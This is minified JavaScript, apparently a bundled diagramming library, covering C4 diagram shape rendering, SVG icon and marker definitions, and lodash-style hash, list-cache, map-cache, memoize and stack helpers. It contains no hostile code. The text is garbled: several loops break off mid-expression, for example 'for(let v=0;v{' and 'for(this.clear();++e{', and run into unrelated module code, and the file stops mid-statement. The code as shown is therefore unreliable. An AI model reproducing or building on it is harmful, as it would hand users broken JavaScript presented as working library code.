u=ua();switch(e.typeC4Shape.text){case"person":case"external_person":case"system":case"external_system":case"container":case"external_container":case"component":case"external_component":u.x=e.x,u.y=e.y,u.fill=n,u.width=e.width,u.height=e.height,u.stroke=i,u.rx=2.5,u.ry=2.5,u.attrs={"stroke-width":.5},dL(l,u);break;case"system_db":case"external_system_db":case"container_db":case"external_container_db":case"component_db":case"external_component_db":l.append("path").attr("fill",n).attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc0,-10 half,-10 half,-10c0,0 half,0 half,10l0,heightc0,10 -half,10 -half,10c0,0 -half,0 -half,-10l0,-height".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("half",e.width/2).replaceAll("height",e.height)),l.append("path").attr("fill","none").attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc0,10 half,10 half,10c0,0 half,0 half,-10".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("half",e.width/2));break;case"system_queue":case"external_system_queue":case"container_queue":case"external_container_queue":case"component_queue":case"external_component_queue":l.append("path").attr("fill",n).attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startylwidth,0c5,0 5,half 5,halfc0,0 0,half -5,halfl-width,0c-5,0 -5,-half -5,-halfc0,0 0,-half 5,-half".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("width",e.width).replaceAll("half",e.height/2)),l.append("path").attr("fill","none").attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc-5,0 -5,half -5,halfc0,half 5,half 5,half".replaceAll("startx",e.x+e.width).replaceAll("starty",e.y).replaceAll("half",e.height/2));break}let h=n7e(r,e.typeC4Shape.text);switch(l.append("text").attr("fill",a).attr("font-family",h.fontFamily).attr("font-size",h.fontSize-2).attr("font-style","italic").attr("lengthAdjust","spacing").attr("textLength",e.typeC4Shape.width).attr("x",e.x+e.width/2-e.typeC4Shape.width/2).attr("y",e.y+e.typeC4Shape.Y).text("<<"+e.typeC4Shape.text+">>"),e.typeC4Shape.text){case"person":case"external_person":wj(l,48,48,e.x+e.width/2-24,e.y+e.image.Y,s);break}let f=r[e.typeC4Shape.text+"Font"]();return f.fontWeight="bold",f.fontSize=f.fontSize+2,f.fontColor=a,Au(r)(e.label.text,l,e.x,e.y+e.label.Y,e.width,e.height,{fill:a},f),f=r[e.typeC4Shape.text+"Font"](),f.fontColor=a,e.techn&&e.techn?.text!==""?Au(r)(e.techn.text,l,e.x,e.y+e.techn.Y,e.width,e.height,{fill:a,"font-style":"italic"},f):e.type&&e.type.text!==""&&Au(r)(e.type.text,l,e.x,e.y+e.type.Y,e.width,e.height,{fill:a,"font-style":"italic"},f),e.descr&&e.descr.text!==""&&(f=r.personFont(),f.fontColor=a,Au(r)(e.descr.text,l,e.x,e.y+e.descr.Y,e.width,e.height,{fill:a},f)),e.height},"drawC4Shape"),jCe=o(function(t){t.append("defs").append("symbol").attr("id","database").attr("fill-rule","evenodd").attr("clip-rule","evenodd").append("path").attr("transform","scale(.5)").attr("d","M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.044-.118.044-.12.044-.122.042-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.035-.143.033-.144.033-.147.033-.148.031-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.009-.179.009-.179.007-.181.007-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.007-.179-.007-.179-.009-.178-.009-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.031-.146-.033-.145-.033-.143-.033-.141-.035-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.04-.126-.041-.124-.042-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.051-.093-.051-.09-.051-.087-.053-.085-.052-.083-.054-.08-.054-.077-.054v4.139zm0-5.666v.011l.001.02.003.022.004.021.005.022.006.021.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.024.018.023.019.024.021.025.022.024.023.024.024.025.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.051.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.043.171.043.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.021.23.02.233.018.236.017.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.013.241-.014.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.049.139-.049.136-.049.131-.051.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.049.023-.025.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.022.01-.023.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.153l-.077.054-.08.054-.083.053-.085.053-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.048-.105.048-.106.048-.109.046-.111.046-.114.046-.115.044-.118.044-.12.043-.122.043-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.034-.143.034-.144.033-.147.032-.148.032-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.024-.161.024-.162.023-.163.023-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.01-.178.01-.179.009-.179.007-.181.006-.182.006-.182.004-.184.003-.184.001-.185.001-.185-.001-.184-.001-.184-.003-.182-.004-.182-.006-.181-.006-.179-.007-.179-.009-.178-.01-.176-.01-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.023-.162-.023-.161-.024-.159-.024-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.032-.146-.032-.145-.033-.143-.034-.141-.034-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.041-.126-.041-.124-.041-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.048-.105-.048-.102-.048-.1-.05-.097-.049-.095-.051-.093-.051-.09-.052-.087-.052-.085-.053-.083-.053-.08-.054-.077-.054v4.153zm8.74-8.179l-.257.004-.254.005-.25.008-.247.011-.244.012-.241.014-.237.016-.233.018-.231.021-.226.022-.224.023-.22.026-.216.027-.212.028-.21.031-.205.032-.202.033-.198.034-.194.036-.191.038-.187.038-.183.04-.179.041-.175.042-.172.043-.168.043-.163.045-.16.046-.155.046-.152.048-.148.048-.143.048-.139.049-.136.05-.131.05-.126.051-.123.051-.118.051-.114.052-.11.052-.106.052-.101.052-.096.052-.092.052-.088.052-.083.052-.079.052-.074.051-.07.052-.065.051-.06.05-.056.05-.051.05-.023.025-.023.024-.021.024-.02.025-.019.024-.018.024-.017.023-.015.024-.014.023-.013.023-.012.023-.01.023-.01.022-.008.022-.006.023-.006.021-.004.022-.004.021-.001.021-.001.021.001.021.001.021.004.021.004.022.006.021.006.023.008.022.01.022.01.023.012.023.013.023.014.023.015.024.017.023.018.024.019.024.02.025.021.024.023.024.023.025.051.05.056.05.06.05.065.051.07.052.074.051.079.052.083.052.088.052.092.052.096.052.101.052.106.052.11.052.114.052.118.051.123.051.126.051.131.05.136.05.139.049.143.048.148.048.152.048.155.046.16.046.163.045.168.043.172.043.175.042.179.041.183.04.187.038.191.038.194.036.198.034.202.033.205.032.21.031.212.028.216.027.22.026.224.023.226.022.231.021.233.018.237.016.241.014.244.012.247.011.25.008.254.005.257.004.26.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.022.224-.023.22-.026.216-.027.212-.028.21-.031.205-.032.202-.033.198-.034.194-.036.191-.038.187-.038.183-.04.179-.041.175-.042.172-.043.168-.043.163-.045.16-.046.155-.046.152-.048.148-.048.143-.048.139-.049.136-.05.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.05.051-.05.023-.025.023-.024.021-.024.02-.025.019-.024.018-.024.017-.023.015-.024.014-.023.013-.023.012-.023.01-.023.01-.022.008-.022.006-.023.006-.021.004-.022.004-.021.001-.021.001-.021-.001-.021-.001-.021-.004-.021-.004-.022-.006-.021-.006-.023-.008-.022-.01-.022-.01-.023-.012-.023-.013-.023-.014-.023-.015-.024-.017-.023-.018-.024-.019-.024-.02-.025-.021-.024-.023-.024-.023-.025-.051-.05-.056-.05-.06-.05-.065-.051-.07-.052-.074-.051-.079-.052-.083-.052-.088-.052-.092-.052-.096-.052-.101-.052-.106-.052-.11-.052-.114-.052-.118-.051-.123-.051-.126-.051-.131-.05-.136-.05-.139-.049-.143-.048-.148-.048-.152-.048-.155-.046-.16-.046-.163-.045-.168-.043-.172-.043-.175-.042-.179-.041-.183-.04-.187-.038-.191-.038-.194-.036-.198-.034-.202-.033-.205-.032-.21-.031-.212-.028-.216-.027-.22-.026-.224-.023-.226-.022-.231-.021-.233-.018-.237-.016-.241-.014-.244-.012-.247-.011-.25-.008-.254-.005-.257-.004-.26-.001-.26.001z")},"insertDatabaseIcon"),KCe=o(function(t){t.append("defs").append("symbol").attr("id","computer").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M2 2v13h20v-13h-20zm18 11h-16v-9h16v9zm-10.228 6l.466-1h3.524l.467 1h-4.457zm14.228 3h-24l2-6h2.104l-1.33 4h18.45l-1.297-4h2.073l2 6zm-5-10h-14v-7h14v7z")},"insertComputerIcon"),QCe=o(function(t){t.append("defs").append("symbol").attr("id","clock").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm5.848 12.459c.202.038.202.333.001.372-1.907.361-6.045 1.111-6.547 1.111-.719 0-1.301-.582-1.301-1.301 0-.512.77-5.447 1.125-7.445.034-.192.312-.181.343.014l.985 6.238 5.394 1.011z")},"insertClockIcon"),ZCe=o(function(t){t.append("defs").append("marker").attr("id","arrowhead").attr("refX",9).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 0 0 L 10 5 L 0 10 z")},"insertArrowHead"),JCe=o(function(t){t.append("defs").append("marker").attr("id","arrowend").attr("refX",1).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 10 0 L 0 5 L 10 10 z")},"insertArrowEnd"),e7e=o(function(t){t.append("defs").append("marker").attr("id","filled-head").attr("refX",18).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"insertArrowFilledHead"),t7e=o(function(t){t.append("defs").append("marker").attr("id","sequencenumber").attr("refX",15).attr("refY",15).attr("markerWidth",60).attr("markerHeight",40).attr("orient","auto").append("circle").attr("cx",15).attr("cy",15).attr("r",6)},"insertDynamicNumber"),r7e=o(function(t){let r=t.append("defs").append("marker").attr("id","crosshead").attr("markerWidth",15).attr("markerHeight",8).attr("orient","auto").attr("refX",16).attr("refY",4);r.append("path").attr("fill","black").attr("stroke","#000000").style("stroke-dasharray","0, 0").attr("stroke-width","1px").attr("d","M 9,2 V 6 L16,4 Z"),r.append("path").attr("fill","none").attr("stroke","#000000").style("stroke-dasharray","0, 0").attr("stroke-width","1px").attr("d","M 0,1 L 6,7 M 6,1 L 0,7")},"insertArrowCrossHead"),n7e=o((t,e)=>({fontFamily:t[e+"FontFamily"],fontSize:t[e+"FontSize"],fontWeight:t[e+"FontWeight"]}),"getC4ShapeFont"),Au=(function(){function t(i,a,s,l,u,h,f){let d=a.append("text").attr("x",s+u/2).attr("y",l+h/2+5).style("text-anchor","middle").text(i);n(d,f)}o(t,"byText");function e(i,a,s,l,u,h,f,d){let{fontSize:p,fontFamily:m,fontWeight:g}=d,y=i.split(tt.lineBreakRegex);for(let v=0;v{"use strict";i7e=typeof global=="object"&&global&&global.Object===Object&&global,uT=i7e});var a7e,s7e,hi,Mo=N(()=>{"use strict";pL();a7e=typeof self=="object"&&self&&self.Object===Object&&self,s7e=uT||a7e||Function("return this")(),hi=s7e});var o7e,Ki,$d=N(()=>{"use strict";Mo();o7e=hi.Symbol,Ki=o7e});function u7e(t){var e=l7e.call(t,n2),r=t[n2];try{t[n2]=void 0;var n=!0}catch{}var i=c7e.call(t);return n&&(e?t[n2]=r:delete t[n2]),i}var Ej,l7e,c7e,n2,Sj,Cj=N(()=>{"use strict";$d();Ej=Object.prototype,l7e=Ej.hasOwnProperty,c7e=Ej.toString,n2=Ki?Ki.toStringTag:void 0;o(u7e,"getRawTag");Sj=u7e});function d7e(t){return f7e.call(t)}var h7e,f7e,Aj,_j=N(()=>{"use strict";h7e=Object.prototype,f7e=h7e.toString;o(d7e,"objectToString");Aj=d7e});function g7e(t){return t==null?t===void 0?m7e:p7e:Dj&&Dj in Object(t)?Sj(t):Aj(t)}var p7e,m7e,Dj,ha,_u=N(()=>{"use strict";$d();Cj();_j();p7e="[object Null]",m7e="[object Undefined]",Dj=Ki?Ki.toStringTag:void 0;o(g7e,"baseGetTag");ha=g7e});function y7e(t){var e=typeof t;return t!=null&&(e=="object"||e=="function")}var Sn,oo=N(()=>{"use strict";o(y7e,"isObject");Sn=y7e});function w7e(t){if(!Sn(t))return!1;var e=ha(t);return e==x7e||e==b7e||e==v7e||e==T7e}var v7e,x7e,b7e,T7e,Si,i2=N(()=>{"use strict";_u();oo();v7e="[object AsyncFunction]",x7e="[object Function]",b7e="[object GeneratorFunction]",T7e="[object Proxy]";o(w7e,"isFunction");Si=w7e});var k7e,hT,Lj=N(()=>{"use strict";Mo();k7e=hi["__core-js_shared__"],hT=k7e});function E7e(t){return!!Rj&&Rj in t}var Rj,Nj,Mj=N(()=>{"use strict";Lj();Rj=(function(){var t=/[^.]+$/.exec(hT&&hT.keys&&hT.keys.IE_PROTO||"");return t?"Symbol(src)_1."+t:""})();o(E7e,"isMasked");Nj=E7e});function A7e(t){if(t!=null){try{return C7e.call(t)}catch{}try{return t+""}catch{}}return""}var S7e,C7e,Du,mL=N(()=>{"use strict";S7e=Function.prototype,C7e=S7e.toString;o(A7e,"toSource");Du=A7e});function O7e(t){if(!Sn(t)||Nj(t))return!1;var e=Si(t)?I7e:D7e;return e.test(Du(t))}var _7e,D7e,L7e,R7e,N7e,M7e,I7e,Ij,Oj=N(()=>{"use strict";i2();Mj();oo();mL();_7e=/[\\^$.*+?()[\]{}|]/g,D7e=/^\[object .+?Constructor\]$/,L7e=Function.prototype,R7e=Object.prototype,N7e=L7e.toString,M7e=R7e.hasOwnProperty,I7e=RegExp("^"+N7e.call(M7e).replace(_7e,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");o(O7e,"baseIsNative");Ij=O7e});function P7e(t,e){return t?.[e]}var Pj,Bj=N(()=>{"use strict";o(P7e,"getValue");Pj=P7e});function B7e(t,e){var r=Pj(t,e);return Ij(r)?r:void 0}var Ls,Fh=N(()=>{"use strict";Oj();Bj();o(B7e,"getNative");Ls=B7e});var F7e,Lu,a2=N(()=>{"use strict";Fh();F7e=Ls(Object,"create"),Lu=F7e});function $7e(){this.__data__=Lu?Lu(null):{},this.size=0}var Fj,$j=N(()=>{"use strict";a2();o($7e,"hashClear");Fj=$7e});function z7e(t){var e=this.has(t)&&delete this.__data__[t];return this.size-=e?1:0,e}var zj,Gj=N(()=>{"use strict";o(z7e,"hashDelete");zj=z7e});function H7e(t){var e=this.__data__;if(Lu){var r=e[t];return r===G7e?void 0:r}return U7e.call(e,t)?e[t]:void 0}var G7e,V7e,U7e,Vj,Uj=N(()=>{"use strict";a2();G7e="__lodash_hash_undefined__",V7e=Object.prototype,U7e=V7e.hasOwnProperty;o(H7e,"hashGet");Vj=H7e});function Y7e(t){var e=this.__data__;return Lu?e[t]!==void 0:W7e.call(e,t)}var q7e,W7e,Hj,qj=N(()=>{"use strict";a2();q7e=Object.prototype,W7e=q7e.hasOwnProperty;o(Y7e,"hashHas");Hj=Y7e});function j7e(t,e){var r=this.__data__;return this.size+=this.has(t)?0:1,r[t]=Lu&&e===void 0?X7e:e,this}var X7e,Wj,Yj=N(()=>{"use strict";a2();X7e="__lodash_hash_undefined__";o(j7e,"hashSet");Wj=j7e});function rm(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e{"use strict";$j();Gj();Uj();qj();Yj();o(rm,"Hash");rm.prototype.clear=Fj;rm.prototype.delete=zj;rm.prototype.get=Vj;rm.prototype.has=Hj;rm.prototype.set=Wj;gL=rm});function K7e(){this.__data__=[],this.size=0}var jj,Kj=N(()=>{"use strict";o(K7e,"listCacheClear");jj=K7e});function Q7e(t,e){return t===e||t!==t&&e!==e}var Io,zd=N(()=>{"use strict";o(Q7e,"eq");Io=Q7e});function Z7e(t,e){for(var r=t.length;r--;)if(Io(t[r][0],e))return r;return-1}var $h,s2=N(()=>{"use strict";zd();o(Z7e,"assocIndexOf");$h=Z7e});function tAe(t){var e=this.__data__,r=$h(e,t);if(r<0)return!1;var n=e.length-1;return r==n?e.pop():eAe.call(e,r,1),--this.size,!0}var J7e,eAe,Qj,Zj=N(()=>{"use strict";s2();J7e=Array.prototype,eAe=J7e.splice;o(tAe,"listCacheDelete");Qj=tAe});function rAe(t){var e=this.__data__,r=$h(e,t);return r<0?void 0:e[r][1]}var Jj,eK=N(()=>{"use strict";s2();o(rAe,"listCacheGet");Jj=rAe});function nAe(t){return $h(this.__data__,t)>-1}var tK,rK=N(()=>{"use strict";s2();o(nAe,"listCacheHas");tK=nAe});function iAe(t,e){var r=this.__data__,n=$h(r,t);return n<0?(++this.size,r.push([t,e])):r[n][1]=e,this}var nK,iK=N(()=>{"use strict";s2();o(iAe,"listCacheSet");nK=iAe});function nm(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e{"use strict";Kj();Zj();eK();rK();iK();o(nm,"ListCache");nm.prototype.clear=jj;nm.prototype.delete=Qj;nm.prototype.get=Jj;nm.prototype.has=tK;nm.prototype.set=nK;zh=nm});var aAe,Gh,fT=N(()=>{"use strict";Fh();Mo();aAe=Ls(hi,"Map"),Gh=aAe});function sAe(){this.size=0,this.__data__={hash:new gL,map:new(Gh||zh),string:new gL}}var aK,sK=N(()=>{"use strict";Xj();o2();fT();o(sAe,"mapCacheClear");aK=sAe});function oAe(t){var e=typeof t;return e=="string"||e=="number"||e=="symbol"||e=="boolean"?t!=="__proto__":t===null}var oK,lK=N(()=>{"use strict";o(oAe,"isKeyable");oK=oAe});function lAe(t,e){var r=t.__data__;return oK(e)?r[typeof e=="string"?"string":"hash"]:r.map}var Vh,l2=N(()=>{"use strict";lK();o(lAe,"getMapData");Vh=lAe});function cAe(t){var e=Vh(this,t).delete(t);return this.size-=e?1:0,e}var cK,uK=N(()=>{"use strict";l2();o(cAe,"mapCacheDelete");cK=cAe});function uAe(t){return Vh(this,t).get(t)}var hK,fK=N(()=>{"use strict";l2();o(uAe,"mapCacheGet");hK=uAe});function hAe(t){return Vh(this,t).has(t)}var dK,pK=N(()=>{"use strict";l2();o(hAe,"mapCacheHas");dK=hAe});function fAe(t,e){var r=Vh(this,t),n=r.size;return r.set(t,e),this.size+=r.size==n?0:1,this}var mK,gK=N(()=>{"use strict";l2();o(fAe,"mapCacheSet");mK=fAe});function im(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e{"use strict";sK();uK();fK();pK();gK();o(im,"MapCache");im.prototype.clear=aK;im.prototype.delete=cK;im.prototype.get=hK;im.prototype.has=dK;im.prototype.set=mK;Gd=im});function yL(t,e){if(typeof t!="function"||e!=null&&typeof e!="function")throw new TypeError(dAe);var r=o(function(){var n=arguments,i=e?e.apply(this,n):n[0],a=r.cache;if(a.has(i))return a.get(i);var s=t.apply(this,n);return r.cache=a.set(i,s)||a,s},"memoized");return r.cache=new(yL.Cache||Gd),r}var dAe,am,vL=N(()=>{"use strict";dT();dAe="Expected a function";o(yL,"memoize");yL.Cache=Gd;am=yL});function pAe(){this.__data__=new zh,this.size=0}var yK,vK=N(()=>{"use strict";o2();o(pAe,"stackClear");yK=pAe});function mAe(t){var e=this.__data__,r=e.delete(t);return this.size=e.size,r}var xK,bK=N(()=>{"use strict";o(mAe,"stackDelete");xK=mAe});function gAe(t){return this.__data__.get(t)}var TK,wK=N(()=>{"use strict";o(gAe,"stackGet");TK=gAe});function yAe(t){return this.__data__.has(t)}var kK,EK=N(()=>{"use strict";o(yAe,"stackHas");kK=yAe});function xAe(t,e){var r=this.__data__;if(r instanceof zh){var n=r.__data__;if(!Gh||n.length{"use strict";o2();fT();dT();vAe=200;o(xAe,"stackSet");SK=xAe});function sm(t){var e=this.__data__=new zh(t);this.size=e.size}var 